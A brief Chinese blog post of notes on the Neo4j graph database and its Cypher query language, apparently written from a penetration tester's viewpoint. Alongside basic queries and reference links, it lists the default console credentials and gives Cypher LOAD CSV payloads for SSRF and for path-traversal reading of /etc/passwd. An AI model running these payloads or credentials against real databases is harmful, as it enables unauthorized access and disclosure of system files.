Neo4j Cypher简学

Neo4j Cypher简介

# 百度
Neo4j是一个高性能的,NOSQL图形数据库,它将结构化数据存储在网络上而不是表中。
Cypher是一个描述性的图形查询语言,容许没必要编写图形结构的遍历代码对图形存储有表现力和效率的查询。

一些入门的资料

https://neo4j.com/docs/cypher-refcard/current/ 一个很是不错的手册
neo4j.com/docs/developer-manual/current/introduction/ 官方文档
http://blog.csdn.net/wangweislk/article/details/47661863 图数据库-Neo4j介绍与Cypher入门

语法小卡片

Neo4j Cypher语法手册

Neo4j web界面

http://127.0.0.1:7474/browser/ 默认密码neo4j/neo4j
功能不少,相似phpmyadmin之类的在线管理工具,能够执行查询语句

查询全部节点数据

MATCH(n) RETURN n

建立新的节点

# 若是不存在就建立
merge (sec:sectest) return sec,labels(sec);

删除全部节点数据

# 同理亦可CREATE、DROP、SET、REMOVE等
MATCH (n) DETACH DELETE n

导入数据,存在SSRF漏洞

# 相同类型的问题一样存在于大多数数据库中,可百度搜索猪猪侠的ssrf姿式大全
match(n)  LOAD CSV FROM "http://127.0.0.1/ssrf" AS line RETURN count(*) limit 1;

目录配置不当可能存在任意文件读取

match(n)  LOAD CSV FROM "file:///../../../../../../../etc/passwd" AS line RETURN count(*) limit 1;

curl请求注意项

查询语句中的空格要用%0a隔开

最后

习惯了本地记笔记,好久没写博客,来浇点水,最近作的项目比较多,但愿可以记录整理下点什么。
这两天刚开始研究蓝牙方面的东西,过几天有点成果了再整理发出来吧。
相关文章
相关标签/搜索